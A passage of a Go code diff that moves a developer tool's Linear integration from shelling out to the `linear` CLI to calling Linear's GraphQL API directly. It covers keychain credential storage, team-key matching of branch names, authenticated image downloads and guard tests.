"" { + fresh.Refresh = c.Refresh // Linear may not reissue one + } + if err := SetCredential(fresh); err != nil { + debuglog.Logger.Debug("linear: refreshed token could not be persisted", "error", err) + } + return fresh, nil +} + +// SetCredential stores a credential and makes it live immediately. +// +// The in-memory copy is replaced before the write is attempted so that a +// keychain that refuses to store still leaves this session working — the user +// pasted a key that we verified against the API, and failing to persist it is +// not a reason to act as though they hadn't. +func SetCredential(c Credential) error { + credState.mu.Lock() + credState.cred = c + credState.loaded = true + credState.warmed.Store(true) + credState.present.Store(c.ok()) + credState.mu.Unlock() + + return saveStored(stored(c)) +} + +// Disconnect forgets the credential. +// +// The cache is cleared even if the backing store refuses, for the same reason +// SetCredential updates it first: the user's instruction is about this fleet, +// and a keychain error must not leave a session still talking to Linear after +// being told to stop. +func Disconnect() error { + credState.mu.Lock() + credState.cred = Credential{} + credState.loaded = true + credState.warmed.Store(true) + credState.present.Store(false) + credState.mu.Unlock() + + resetWorkspaceCache() + return clearStored() +} + +// StoredWorkspace returns the workspace name behind the current credential, for +// display only. Empty when nothing is connected or the name was never recorded. +func StoredWorkspace() string { + credState.mu.Lock() + defer credState.mu.Unlock() + return credState.cred.Workspace +} + +// ConnectedVia reports how fleet is authenticating, for the Connect dialog. +// The environment case is called out because it cannot be disconnected from +// inside fleet — the user has to unset the variable. +func ConnectedVia() string { + if envKey() != "" { + return "environment (" + APIKeyEnvVar + ")" + } + credState.mu.Lock() + defer credState.mu.Unlock() + switch credState.cred.Kind { + case credOAuth: + return "browser sign-in" + case credAPIKey: + return "API key" + } + return "" +} diff --git a/internal/linear/cli.go b/internal/linear/cli.go deleted file mode 100644 index 0c51ac52..00000000 --- a/internal/linear/cli.go +++ /dev/null @@ -1,276 +0,0 @@ -package linear - -import ( - "bytes" - "context" - "encoding/json" - "fmt" - "io" - "os" - "os/exec" - "strconv" - "strings" - "sync" - "time" - - "github.com/brizzai/fleet/internal/analytics" - "github.com/brizzai/fleet/internal/debuglog" -) - -// linear failures are one-shot rather than polled, so this throttle isn't -// stopping a flood the way trackGHFailure's is — it stops a user who creates ten -// worktrees against a broken CLI from emitting ten identical events. reason is a -// low-cardinality label, never an issue identifier or a path. -const failTrackInterval = 10 * time.Minute - -var ( - failMu sync.Mutex - failLast time.Time -) - -func trackFailure(reason string) { - failMu.Lock() - if !failLast.IsZero() && time.Since(failLast) < failTrackInterval { - failMu.Unlock() - return - } - failLast = time.Now() - failMu.Unlock() - analytics.Track(analytics.EventLinearCommandFailure, map[string]any{ - "reason": reason, - }) -} - -// classifyError maps the CLI's stderr onto a sentinel. Unknown stderr returns -// nil, so callers fall through to their own generic handling. -func classifyError(stderr string) error { - s := strings.ToLower(stderr) - switch { - case strings.Contains(s, "no api token configured"), strings.Contains(s, "not authenticated"): - return ErrNotConfigured - case strings.Contains(s, "401"), strings.Contains(s, "unauthorized"), - strings.Contains(s, "authentication failed"), strings.Contains(s, "invalid api key"): - return ErrNotAuthenticated - case strings.Contains(s, "entity not found"), strings.Contains(s, "could not find issue"), - strings.Contains(s, "does not contain a valid linear issue id"): - return ErrNotFound - } - return nil -} - -// run executes `linear ` in dir under timeout and returns stdout. -// -// dir must be inside the repo: the CLI locates .linear.toml by shelling -// `git rev-parse --show-toplevel` in its OWN working directory, so a wrong dir -// loses the team/workspace context with no error. -// -// The environment additions are load-bearing: -// - LINEAR_DOWNLOAD_IMAGES=1 outranks a repo that set download_images = false -// in .linear.toml (CLI precedence is flag > env > toml). -// - PAGER=cat and NO_COLOR=1 guard against a pager or SGR codes if this ever -// runs somewhere with a TTY attached. -func run(ctx context.Context, timeout time.Duration, dir string, args ...string) ([]byte, error) { - ctx, cancel := context.WithTimeout(ctx, timeout) - defer cancel() - - cmd := exec.CommandContext(ctx, "linear", args...) - cmd.Dir = dir - cmd.Env = append(os.Environ(), "LINEAR_DOWNLOAD_IMAGES=1", "PAGER=cat", "NO_COLOR=1") - var stderr bytes.Buffer - cmd.Stderr = &stderr - - out, err := cmd.Output() - if err == nil { - return out, nil - } - - // A timeout must be distinguishable from a real CLI error: on the deadline - // cmd.Output() errors with EMPTY stderr, which would otherwise classify as - // "unknown" and be swallowed. Check the context, not the returned error — - // cmd.Output() returns *exec.ExitError on kill, so errors.Is on err alone - // would not match. Wrap with %w so errors.Is works for our callers. - if ctx.Err() == context.DeadlineExceeded { - debuglog.Logger.Debug("linear: timed out", "args", args, "dir", dir) - trackFailure("timeout") - return nil, fmt.Errorf("linear %s timed out: %w", args[0], ctx.Err()) - } - - msg := strings.TrimSpace(stderr.String()) - if classified := classifyError(msg); classified != nil { - debuglog.Logger.Debug("linear: classified failure", "args", args, "err", classified, "stderr", msg) - trackFailure(strings.TrimPrefix(classified.Error(), "linear: ")) - return nil, classified - } - debuglog.Logger.Debug("linear: command failed", "args", args, "dir", dir, "stderr", msg) - return nil, fmt.Errorf("linear %s: %w (%s)", args[0], err, truncate(msg, 200)) -} - -// ticketJSON mirrors the fields fleet uses. Both the v1.7.0 (6-key) and v2.5.0 -// (15-key) payloads decode into it; extra keys are ignored by encoding/json, -// and a missing or null `state` leaves StateName empty rather than failing. -type ticketJSON struct { - Identifier string `json:"identifier"` - Title string `json:"title"` - URL string `json:"url"` - State *struct { - Name string `json:"name"` - } `json:"state"` -} - -// Fetch returns the issue's metadata. -// -// This is the ONLY place --json is used. It must never be used for images: the -// CLI returns from the JSON branch before its image downloader runs, so a JSON -// fetch emits raw uploads.linear.app URLs and writes nothing to disk. -func Fetch(ctx context.Context, dir, id string) (Ticket, error) { - if !Available() { - return Ticket{}, ErrNotInstalled - } - out, err := run(ctx, metaTimeout, dir, "issue", "view", id, "--json", "--no-pager") - if err != nil { - return Ticket{}, err - } - var raw ticketJSON - if err := json.Unmarshal(out, &raw); err != nil { - debuglog.Logger.Debug("linear: JSON parse failed", "id", id, "error", err) - return Ticket{}, ErrNotFound - } - if raw.Identifier == "" { - return Ticket{}, ErrNotFound - } - t := Ticket{Identifier: raw.Identifier, Title: raw.Title, URL: raw.URL} - if raw.State != nil { - t.StateName = raw.State.Name - } - return t, nil -} - -// Search returns issues matching a full-text term, for the worktree dialog's -// suggestion list. -// -// `issue query` (CLI v2+) is the right command: `issue list` is an alias of -// `issue mine` and only ever returns your own issues, which would hide a ticket -// someone just handed you. On an older CLI this errors, and the caller simply -// shows no suggestions — the identifier path keeps working either way. -func Search(ctx context.Context, dir, teamKey, term string, limit int) ([]Ticket, error) { - if !Available() { - return nil, ErrNotInstalled - } - args := []string{"issue", "query", "--search", term, "--json", "--no-pager"} - if teamKey != "" { - args = append(args, "--team", teamKey) - } - if limit > 0 { - args = append(args, "--limit", strconv.Itoa(limit)) - } - out, err := run(ctx, metaTimeout, dir, args...) - if err != nil { - return nil, err - } - return decodeTicketList(out), nil -} - -// decodeTicketList is deliberately tolerant: the CLI's JSON shape changed in -// v2.0.0 to preserve GraphQL connection shapes, so accept both a bare array and -// an object wrapping one, and drop anything unusable rather than failing. -func decodeTicketList(out []byte) []Ticket { - var flat []ticketJSON - if err := json.Unmarshal(out, &flat); err != nil { - var wrapped struct { - Nodes []ticketJSON `json:"nodes"` - Issues []ticketJSON `json:"issues"` - } - if err := json.Unmarshal(out, &wrapped); err != nil { - return nil - } - flat = wrapped.Nodes - if len(flat) == 0 { - flat = wrapped.Issues - } - } - var tickets []Ticket - for _, raw := range flat { - if raw.Identifier == "" { - continue - } - t := Ticket{Identifier: raw.Identifier, Title: raw.Title, URL: raw.URL} - if raw.State != nil { - t.StateName = raw.State.Name - } - tickets = append(tickets, t) - } - return tickets -} - -// fetchMarkdown returns the issue rendered as markdown, with image links -// already rewritten to absolute local paths for every image the CLI managed to -// download. -// -// Deliberately NOT --json. Two reasons, and both are structural rather than -// bugs that might get fixed: the JSON branch returns before the downloader -// runs, and the link substitution happens after it. Under a pipe (which -// cmd.Output() gives us) the CLI skips its ANSI renderer and pager and prints -// raw markdown, which is exactly what we want to parse. -// -// A link left pointing at uploads.linear.app means the CLI's download failed -// and swallowed the error — that is the detector for the broken v1.7.0 build, -// and the caller fetches those itself. -func fetchMarkdown(ctx context.Context, dir, id string) ([]byte, error) { - if !Available() { - return nil, ErrNotInstalled - } - return run(ctx, markdownTimeout, dir, "issue", "view", id, "--no-pager") -} - -// MoveToStarted moves the issue into the team's first started workflow state -// and returns the resulting state name. -// -// `-s started` matches on state TYPE against a position-sorted list, which is -// the same resolution `linear issue start` uses — so fleet never enumerates or -// caches workflow states, and this works with teams whose started state is -// called "In Dev" or anything else. (A state literally named "started" would -// win the name match first, which is arguably what its author intended.) -// -// `linear issue start` is deliberately NOT used: it also creates its own git -// branch, which would collide with the worktree fleet just made. -func MoveToStarted(ctx context.Context, dir, id string) (string, error) { - if !Available() { - return "", ErrNotInstalled - } - if _, err := run(ctx, stateTimeout, dir, "issue", "update", id, "-s", "started"); err != nil { - trackFailure("state_write_failed") - return "", err - } - return "started", nil -} - -// authToken returns the CLI's API token, for the fallback image download only. -// -// Held in a local for the duration of one request and never logged, persisted, -// or placed into a session's tmux environment. fleet storing a credential is -// precisely what this package's design avoids; borrowing one for a single -// authenticated GET is not the same thing, but it is close enough to deserve -// saying out loud. -func authToken(ctx context.Context, dir string) (string, error) { - out, err := run(ctx, authTimeout, dir, "auth", "token") - if err != nil { - return "", err - } - return strings.TrimSpace(string(out)), nil -} - -func truncate(s string, n int) string { - if len(s) <= n { - return s - } - return s[:n] + "…" -} - -func readFileLimited(path string, limit int64) ([]byte, error) { - f, err := os.Open(path) - if err != nil { - return nil, err - } - defer f.Close() - return io.ReadAll(io.LimitReader(f, limit)) -} diff --git a/internal/linear/identifier.go b/internal/linear/identifier.go index 35e48b39..b8816157 100644 --- a/internal/linear/identifier.go +++ b/internal/linear/identifier.go @@ -12,19 +12,34 @@ import ( // BRZ-3182, brz-3182-some-slug, and (after the last "/") alice/brz-3182-x. // // It is deliberately loose about the team prefix, because the CALLER gates on -// the real team key. That split matters: the CLI's own `linear issue id` uses a -// pattern like this with no gate, which makes it read fix-123-thing as FIX-123 -// and release-2024-cleanup as RELEASE-2024 — identifiers for teams that don't -// exist, costing a subprocess and a wrong answer. +// the repo's real team keys. That split matters: an ungated pattern like this +// reads fix-123-thing as FIX-123 and release-2024-cleanup as RELEASE-2024 — +// identifiers for teams that don't exist, costing a network round trip and a +// wrong answer. var identifierRe = regexp.MustCompile(`^([A-Za-z][A-Za-z0-9]{0,9})-(\d{1,7})(?:[-_./]|$)`) +// matchesTeam reports whether candidate is one of the repo's team keys. +// +// This is the gate the loose regex above depends on, and passing a SET rather +// than a single key is what lets one repo track more than one team — a real +// case, since a workspace routinely has several (this one has BRZ and PRD) and +// a repo may legitimately see branches from both. +func matchesTeam(candidate string, teamKeys []string) bool { + for _, k := range teamKeys { + if strings.EqualFold(candidate, k) { + return true + } + } + return false +} + // IdentifierFromBranch extracts the Linear identifier a branch names, gated on -// teamKey. It returns "" when the branch names no issue for that team. +// teamKeys. It returns "" when the branch names no issue for those teams. // // Matching starts after the last "/", so Linear's own suggested branch names // (alice/brz-3182-slug) resolve as well as fleet's (brz-3182-slug). -func IdentifierFromBranch(branch, teamKey string) string { - if branch == "" || teamKey == "" { +func IdentifierFromBranch(branch string, teamKeys []string) string { + if branch == "" || len(teamKeys) == 0 { return "" } seg := branch @@ -32,31 +47,25 @@ func IdentifierFromBranch(branch, teamKey string) string { seg = seg[i+1:] } m := identifierRe.FindStringSubmatch(seg) - if m == nil { - return "" - } - if !strings.EqualFold(m[1], teamKey) { + if m == nil || !matchesTeam(m[1], teamKeys) { return "" } return strings.ToUpper(m[1]) + "-" + m[2] } -// LooksLikeIdentifier reports whether text is an identifier for teamKey and -// nothing else — the shape test the worktree dialog uses to decide whether what -// you typed denotes a ticket or is just a branch name. +// LooksLikeIdentifier reports whether text is an identifier for one of teamKeys +// and nothing else — the shape test the worktree dialog uses to decide whether +// what you typed denotes a ticket or is just a branch name. // // This is what keeps a picker from ever stealing the Enter key from someone // naming a branch: prose fails this test, so the literal text stays the default. -func LooksLikeIdentifier(text, teamKey string) (string, bool) { +func LooksLikeIdentifier(text string, teamKeys []string) (string, bool) { t := strings.TrimSpace(text) - if t == "" || teamKey == "" { + if t == "" || len(teamKeys) == 0 { return "", false } m := identifierRe.FindStringSubmatch(t) - if m == nil || len(m[0]) != len(t) { - return "", false - } - if !strings.EqualFold(m[1], teamKey) { + if m == nil || len(m[0]) != len(t) || !matchesTeam(m[1], teamKeys) { return "", false } return strings.ToUpper(m[1]) + "-" + m[2], true @@ -70,7 +79,7 @@ const maxBranchSlug = 40 // BranchNameFor derives fleet's branch name for an issue: the lowercased // identifier, then a slug of the title. // -// Deliberately not the CLI's own `branchName` field, which carries an owner +// Deliberately not Linear's own `branchName` field, which carries an owner // prefix (alice/brz-3182-…). Linear links a PR by finding the identifier // ANYWHERE in the branch name, so both forms link identically — and this form // matches the convention already in use across the user's worktrees. diff --git a/internal/linear/images.go b/internal/linear/images.go index 38c47054..9c7139be 100644 --- a/internal/linear/images.go +++ b/internal/linear/images.go @@ -14,7 +14,7 @@ import ( // imageLinkRe matches a markdown image: ![alt](target). A narrow regex rather // than a markdown parser — we only ever need the two capture groups, and the -// input is the CLI's own generated output, not arbitrary user markdown. +// input is Linear's own markdown, not an arbitrary document. var imageLinkRe = regexp.MustCompile(`!\[([^\]]*)\]\(([^)\s]+)\)`) const uploadsHost = "uploads.linear.app" @@ -35,36 +35,39 @@ var extByContentType = map[string]string{ "image/svg+xml": ".svg", } -// imageRef is one image link found in the CLI's markdown. +// imageRef is one image link found in an issue's markdown. type imageRef struct { alt string - target string // absolute local path (CLI downloaded it) or a remote URL - remote bool + target string } +// findImages returns the remote image links in a body. +// +// Only http(s) targets are collected. Linear's own markdown carries absolute +// uploads.linear.app URLs, and anything else — a relative path, a data URI — +// is not something fleet has any business fetching. func findImages(markdown []byte) []imageRef { var refs []imageRef for _, m := range imageLinkRe.FindAllSubmatch(markdown, -1) { target := string(m[2]) - refs = append(refs, imageRef{ - alt: string(m[1]), - target: target, - remote: strings.Contains(target, uploadsHost) || strings.HasPrefix(target, "http"), - }) + if !strings.HasPrefix(target, "http://") && !strings.HasPrefix(target, "https://") { + continue + } + refs = append(refs, imageRef{alt: string(m[1]), target: target}) } return refs } // detectExt recovers a file extension for image bytes. // -// This is not cosmetic. The CLI names downloads after sanitize(alt), so a real -// PNG lands on disk as "Filter bar renders cramped (screenshot)" with no -// extension — and an agent's file-read tool dispatches on extension, so a -// perfectly downloaded screenshot is unreadable. Recovering the extension is -// the difference between "we fetched it" and "the agent can see it". +// This is not cosmetic. Linear's default alt text is literally "image.png" and +// its upload URLs carry no filename at all, so a real PNG would land on disk +// unnamed and unextensioned — and an agent's file-read tool dispatches on +// extension, making a perfectly downloaded screenshot unreadable. Recovering the +// extension is the difference between "we fetched it" and "the agent can see it". // -// http.DetectContentType sniffs magic bytes, so it works for the -// already-downloaded case where the response headers are long gone. +// http.DetectContentType sniffs magic bytes, so it is the backstop when the +// response headers say nothing useful. func detectExt(name string, body []byte) (string, bool) { if ext := strings.ToLower(filepath.Ext(name)); ext != "" { for _, known := range extByContentType { @@ -84,44 +87,17 @@ func detectExt(name string, body []byte) (string, bool) { return ext, ok } -// copyLocalImage reads an image the CLI already downloaded and writes it into -// destDir with a recovered extension. Returns the destination's base name. -func copyLocalImage(src, destDir string, index int) (string, int64, error) { - info, err := os.Stat(src) - if err != nil { - return "", 0, err - } - // A zero-byte file is the v1.7.0 symptom: the CLI created the directory, - // the download failed, and nothing was written. Treat it as a miss so the - // caller can fall back to fetching it directly. - if info.Size() == 0 { - return "", 0, fmt.Errorf("empty file") - } - if info.Size() > maxImageBytes { - return "", 0, fmt.Errorf("over per-image cap (%d bytes)", info.Size()) - } - body, err := os.ReadFile(src) +// fetchImage downloads one uploads.linear.app asset into destDir. +// +// These URLs are 401 unauthenticated, which is the whole reason this exists: +// an agent handed the raw markdown could not open a single screenshot. The +// credential is read per request and never written anywhere. +func fetchImage(ctx context.Context, url, destDir, alt string, index int) (string, int64, error) { + cred, err := credential() if err != nil { return "", 0, err } - ext, ok := detectExt(filepath.Base(src), body) - if !ok { - return "", 0, fmt.Errorf("not a recognised image") - } - name := sanitizeFilename(filepath.Base(src), index) + ext - if err := os.WriteFile(filepath.Join(destDir, name), body, 0644); err != nil { - return "", 0, err - } - return name, int64(len(body)), nil -} -// fetchRemoteImage downloads an uploads.linear.app asset the CLI failed to get. -// -// Reached when the markdown still carries a remote URL, which means the CLI's -// downloader threw and swallowed the error — the signature of the v1.7.0 build -// compiled without --allow-net=uploads.linear.app. Those URLs are 401 without -// auth, so the token is borrowed for the request and never kept. -func fetchRemoteImage(ctx context.Context, url, token, destDir, alt string, index int) (string, int64, error) { ctx, cancel := context.WithTimeout(ctx, imageFetchTimeout) defer cancel() @@ -129,11 +105,9 @@ func fetchRemoteImage(ctx context.Context, url, token, destDir, alt string, inde if err != nil { return "", 0, err } - // Raw token, not "Bearer " — this matches how the CLI itself sets - // the header for uploads.linear.app. - req.Header.Set("Authorization", token) + req.Header.Set("Authorization", cred.authHeader()) - resp, err := http.DefaultClient.Do(req) + resp, err := httpClient.Do(req) if err != nil { return "", 0, err } diff --git a/internal/linear/linear.go b/internal/linear/linear.go index 88e4992d..97041873 100644 --- a/internal/linear/linear.go +++ b/internal/linear/linear.go @@ -1,53 +1,54 @@ -// Package linear reads Linear issues by shelling out to the `linear` CLI -// (github.com/schpet/linear-cli), the same way internal/github shells out to -// `gh` for PR badges. +// Package linear reads Linear issues through Linear's own GraphQL API. // // Design rules, in the order they matter: // -// - fleet stores no credential. The CLI owns auth (LINEAR_API_KEY, or api_key -// in .linear.toml). We never read that file's api_key, never persist a -// token, and never forward one into a session's tmux environment. -// - The feature is per-repo and opt-out-by-absence: no `linear` on PATH, or no -// .linear.toml at the repo root, and every entry point here is inert. -// - Nothing in this package runs on the Bubble Tea Update goroutine or in the -// status/git workers. Every call is event-driven and one-shot, which is what -// keeps it clear of workerStallThreshold's budget. +// - fleet holds exactly one credential and nothing else. It is stored in the +// OS keychain where there is one, read at request time, and never written +// into a session's tmux environment, a log line, or a bug report. +// - The feature is per-repo and opt-out-by-absence: a repo that names no +// Linear team (via .fleet.json or .linear.toml) behaves exactly as it did +// before this package existed, even for a connected user. +// - Nothing here runs on the Bubble Tea Update goroutine or in the status/git +// workers. Every call is event-driven and one-shot, which is what keeps it +// clear of workerStallThreshold's budget. The two functions the UI does call +// synchronously — Available and TeamKeys — touch no network and no keychain. +// +// There is deliberately no `linear` CLI anywhere in here. An earlier version +// shelled out to one, which cost three version-skew bugs in a single session and +// would not have transferred to Jira. package linear import ( "errors" - "os/exec" + "io" + "os" "path/filepath" "regexp" "strings" "time" + + "github.com/brizzai/fleet/internal/workspace" ) -// Timeouts. Each is sized against a measured cost, in the style of ghTimeout. +// Timeouts. Each is sized against a measured cost. const ( - // metaTimeout bounds `linear issue view --json`: one GraphQL round trip, - // measured at ~0.5s. 10s is 20x headroom for a slow link while staying small - // enough that a wedged metadata call still leaves budget for the markdown - // pass inside an inference deadline. + // metaTimeout bounds the small queries — a lite issue fetch, a search, the + // workspace read. One GraphQL round trip, measured at ~260ms. 10s is ~40x + // headroom for a slow link while staying well inside an inference deadline. metaTimeout = 10 * time.Second - // markdownTimeout bounds the markdown pass, which is one GraphQL round trip - // PLUS N image downloads the CLI performs sequentially. At the image cap and - // a few seconds each that is tens of seconds; 45s clears it. This never runs - // on the status worker, so it cannot interact with workerStallThreshold. - markdownTimeout = 45 * time.Second + // fullTimeout bounds the full issue document (description, comments, + // labels, workflow states). Same single round trip as metaTimeout, but a + // much larger payload, so it gets its own budget rather than borrowing one + // sized for a five-field reply. + fullTimeout = 20 * time.Second - // stateTimeout bounds `linear issue update -s started`: a workflow-states - // query then an issueUpdate mutation — two round trips, the shape ghTimeout - // was sized for. + // stateTimeout bounds the one mutation fleet ever makes. The workflow states + // came along with the full fetch, so this really is a single round trip. stateTimeout = 15 * time.Second - // authTimeout bounds `linear auth token`, which only reads local config and - // env. Past a few seconds it is wedged, not slow. - authTimeout = 5 * time.Second - - // imageFetchTimeout bounds one fallback download of an uploads.linear.app - // asset that the CLI failed to fetch. Sized for maxImageBytes on a poor link. + // imageFetchTimeout bounds one uploads.linear.app download, sized for + // maxImageBytes on a poor link. imageFetchTimeout = 20 * time.Second ) @@ -60,30 +61,29 @@ const ( maxImages = 12 maxImageBytes = 8 << 20 maxTotalBytes = 32 << 20 + + // maxResponseBytes caps a GraphQL reply. An issue with fifty long comments + // is well under a megabyte; this exists so a wedged or hostile endpoint + // can't stream unboundedly into memory. + maxResponseBytes = 8 << 20 ) var ( - // ErrNotInstalled means the `linear` binary is not on PATH. Never surfaced - // as an error to a user who did not ask for Linear. - ErrNotInstalled = errors.New("linear: CLI not installed") + // ErrNotConnected means fleet has no Linear credential. This is the resting + // state for everyone who has not connected, so it is never surfaced as an + // error — the ticket surfaces simply stay inert. + ErrNotConnected = errors.New("linear: not connected") - // ErrNotConfigured means the CLI found no API token. - ErrNotConfigured = errors.New("linear: no API token configured") - - // ErrNotAuthenticated means the token was rejected. - ErrNotAuthenticated = errors.New("linear: API token rejected") + // ErrNotAuthenticated means the credential was rejected: a revoked key, a + // typo, or an OAuth token whose refresh failed. + ErrNotAuthenticated = errors.New("linear: credential rejected") // ErrNotFound means there is no such issue. This is an ordinary answer for a // branch-inferred identifier, not a failure. ErrNotFound = errors.New("linear: issue not found") ) -// Ticket is the version-defensive projection of `linear issue view --json`. -// -// Every field is optional on purpose: CLI v1.7.0 returns six keys and v2.5.0 -// returns fifteen, and the JSON shape changed in v2.0.0 to preserve GraphQL -// field names. A field that moves or disappears must degrade to a zero value, -// never to an error. +// Ticket is the projection of an issue that fleet's UI needs. type Ticket struct { Identifier string // "BRZ-3182"; empty means the payload was unusable Title string @@ -94,35 +94,51 @@ type Ticket struct { // Ok reports whether the payload carried enough to be worth acting on. func (t Ticket) Ok() bool { return t.Identifier != "" } -// Available reports whether the `linear` CLI is installed. +// linearConfigFile is the `linear` CLI's own per-repo config. fleet does not +// require, write, or depend on that CLI, but reading the team key out of a file +// someone already has costs nothing and makes this zero-touch for them. // -// Deliberately exec.LookPath and not `linear --version`: this is called on the -// path that opens the worktree dialog, so it must cost microseconds. -func Available() bool { - _, err := exec.LookPath("linear") - return err == nil -} - -// configFile is the CLI's own per-repo config. Its presence is fleet's signal -// that a repo is Linear-connected — better than a global setting, because it is -// per-repo and already true for anyone using the CLI seriously. -const configFile = ".linear.toml" +// Only team_id is read. api_key lives in the same file and is deliberately never +// touched: fleet resolves its own credential and has no business adopting one +// left there for another tool. +const linearConfigFile = ".linear.toml" var teamIDRe = regexp.MustCompile(`(?m)^\s*team_id\s*=\s*["']([A-Za-z][A-Za-z0-9]*)["']`) -// TeamKey returns the team identifier (e.g. "BRZ") from .linear.toml at -// repoPath, and whether the repo is Linear-connected at all. +// TeamKeys returns the Linear team keys this repo tracks, or nil if it tracks +// none. // -// Only team_id is read. api_key lives in the same file and is deliberately not -// touched: fleet holding a credential is exactly what this design avoids. -func TeamKey(repoPath string) (string, bool) { - data, err := readFileLimited(filepath.Join(repoPath, configFile), 64<<10) +// Nil is the answer that keeps an unrelated repo silent for a connected user, so +// there is deliberately NO fallback to "every team in the workspace": that would +// put Linear suggestions under the branch field of every repo on the machine. +// +// Free and non-blocking — two small file reads, no network — because the branch +// inference path calls it from the Update goroutine. +func TeamKeys(repoPath string) []string { + if repoPath == "" { + return nil + } + if keys := workspace.LinearTeamKeys(repoPath); len(keys) > 0 { + return keys + } + data, err := readFileLimited(filepath.Join(repoPath, linearConfigFile), 64<<10) if err != nil { - return "", false + return nil } m := teamIDRe.FindSubmatch(data) if m == nil { - return "", false + return nil + } + return []string{strings.ToUpper(string(m[1]))} +} + +// readFileLimited reads at most limit bytes, so a pathological config file +// can't be pulled into memory whole. +func readFileLimited(path string, limit int64) ([]byte, error) { + f, err := os.Open(path) + if err != nil { + return nil, err } - return strings.ToUpper(string(m[1])), true + defer f.Close() + return io.ReadAll(io.LimitReader(f, limit)) } diff --git a/internal/linear/linear_test.go b/internal/linear/linear_test.go index 1173bb88..28556476 100644 --- a/internal/linear/linear_test.go +++ b/internal/linear/linear_test.go @@ -12,69 +12,147 @@ import ( "testing" ) -// stringLiteralsIn returns every string literal inside the named function, so a -// guard can assert on the argv a subprocess is built from. -func stringLiteralsIn(t *testing.T, file, fn string) string { - t.Helper() - fset := token.NewFileSet() - f, err := parser.ParseFile(fset, file, nil, 0) +// TestNoLinearSubprocess is the point of the move off the CLI, pinned. +// +// An earlier version of this package shelled out to `linear`, which cost three +// version-skew bugs in one session: a release compiled without network access to +// uploads.linear.app that failed every image download and still exited 0, an +// `auth login` command that did not exist in the installed version, and an error +// message naming a `configure` command that never existed at all. None of that +// can come back while this holds. +// +// The guard is an allowlist rather than a ban, because the package legitimately +// runs three OS helpers — two keychains and a browser opener. An allowlist fails +// on anything new, which is the property that matters: adding a subprocess here +// should require saying so out loud. +func TestNoLinearSubprocess(t *testing.T) { + allowed := map[string]string{ + "security": "macOS keychain", + "secret-tool": "libsecret keychain", + "open": "browser, macOS", + "xdg-open": "browser, Linux", + } + + entries, err := os.ReadDir(".") if err != nil { - t.Fatalf("parse %s: %v", file, err) - } - var out strings.Builder - found := false - ast.Inspect(f, func(n ast.Node) bool { - d, ok := n.(*ast.FuncDecl) - if !ok || d.Name.Name != fn { - return true + t.Fatal(err) + } + fset := token.NewFileSet() + scanned := 0 + + for _, e := range entries { + name := e.Name() + if !strings.HasSuffix(name, ".go") || strings.HasSuffix(name, "_test.go") { + continue + } + f, err := parser.ParseFile(fset, name, nil, 0) + if err != nil { + t.Fatalf("parse %s: %v", name, err) } - found = true - ast.Inspect(d.Body, func(m ast.Node) bool { - if lit, ok := m.(*ast.BasicLit); ok && lit.Kind == token.STRING { - out.WriteString(lit.Value + " ") + scanned++ + ast.Inspect(f, func(n ast.Node) bool { + call, ok := n.(*ast.CallExpr) + if !ok { + return true + } + sel, ok := call.Fun.(*ast.SelectorExpr) + if !ok { + return true + } + pkg, ok := sel.X.(*ast.Ident) + if !ok || pkg.Name != "exec" { + return true } - return true + if sel.Sel.Name != "Command" && sel.Sel.Name != "CommandContext" && sel.Sel.Name != "LookPath" { + return true + } + // The binary is the first string-literal argument, after the ctx + // that CommandContext takes. + for _, arg := range call.Args { + lit, ok := arg.(*ast.BasicLit) + if !ok || lit.Kind != token.STRING { + continue + } + bin := strings.Trim(lit.Value, `"`) + if _, allow := allowed[bin]; !allow { + t.Errorf("%s runs %q — the data path is HTTP now, on purpose. "+ + "If this is a genuinely new OS helper, add it to the allowlist above.", name, bin) + } + return false + } + return false }) - return false - }) - if !found { - t.Fatalf("%s not found in %s — renamed? this guard is now vacuous", fn, file) } - return out.String() + if scanned == 0 { + t.Fatal("scanned no files — this guard is vacuous") + } } -// TestMarkdownFetchNeverUsesJSON is the guard for the bug that cost the user -// every screenshot on every ticket. The CLI returns from its --json branch -// BEFORE its image downloader runs, so a JSON fetch can never produce images — -// it is structural, survives CLI upgrades, and is invisible (exit code 0). -func TestMarkdownFetchNeverUsesJSON(t *testing.T) { - md := stringLiteralsIn(t, "cli.go", "fetchMarkdown") - if strings.Contains(md, `"--json"`) || strings.Contains(md, `"-j"`) { - t.Error("fetchMarkdown must NOT pass --json: the CLI returns from the JSON branch " + - "before downloadIssueImages runs, so the images never reach disk and the agent " + - "is handed 401 uploads.linear.app URLs instead") - } - if !strings.Contains(md, `"--no-pager"`) { - t.Error("fetchMarkdown must pass --no-pager") +// TestStartedStateResolvesByTypeAndPosition pins how the one mutation picks a +// state. +// +// Matching on TYPE rather than name is what makes this work on a team whose +// started state is called "In Dev" or "Doing". Position ordering matters just as +// much: a real team has several started states, and the lowest position is the +// one a human means by "I am starting this" — picking any other would move a +// fresh ticket straight to In Review. +func TestStartedStateResolvesByTypeAndPosition(t *testing.T) { + issue := &issueFull{Team: &issueTeam{}} + issue.Team.States.Nodes = []workflowState{ + {ID: "d", Name: "Done", Type: "completed", Position: 3}, + {ID: "r", Name: "In Review", Type: "started", Position: 1002}, + {ID: "p", Name: "In Dev", Type: "started", Position: 2}, + {ID: "b", Name: "Backlog", Type: "backlog", Position: 0}, + } + got, ok := issue.startedState() + if !ok || got.ID != "p" { + t.Fatalf("startedState = (%+v, %v), want the lowest-position started state (In Dev)", got, ok) } - // Converse arm, so this can't pass by fetchMarkdown quietly losing its argv. - if meta := stringLiteralsIn(t, "cli.go", "Fetch"); !strings.Contains(meta, `"--json"`) { - t.Error("Fetch (metadata) must pass --json") + // A team with no started state at all is a team fleet has nothing to say + // about, not an error. + issue.Team.States.Nodes = []workflowState{{ID: "b", Name: "Backlog", Type: "backlog"}} + if _, ok := issue.startedState(); ok { + t.Error("a team with no started state must report none") } } -// TestStateWriteNeverUsesIssueStart pins the other CLI trap: `linear issue -// start` moves the state AND creates its own git branch, which would collide -// with the worktree fleet just made. -func TestStateWriteNeverUsesIssueStart(t *testing.T) { - lits := stringLiteralsIn(t, "cli.go", "MoveToStarted") - if strings.Contains(lits, `"start"`) { - t.Error("MoveToStarted must use `issue update -s started`, never `issue start` — " + - "the latter also creates a branch and would collide with fleet's worktree") +// TestGraphQLErrorClassification pins the shapes the live API actually returns. +// +// Captured from api.linear.app rather than guessed, because the obvious guess is +// wrong in the case that matters most: an unknown issue comes back as HTTP 200 +// with an errors[] entry whose own extensions carry statusCode 400. Classifying +// on the HTTP status alone would report "no such issue" as a generic failure and +// break the negative pin that stops fleet re-asking on every session start. +func TestGraphQLErrorClassification(t *testing.T) { + cases := []struct { + name string + status int + errs []gqlErrorEntry + want error + }{ + {"ok", 200, 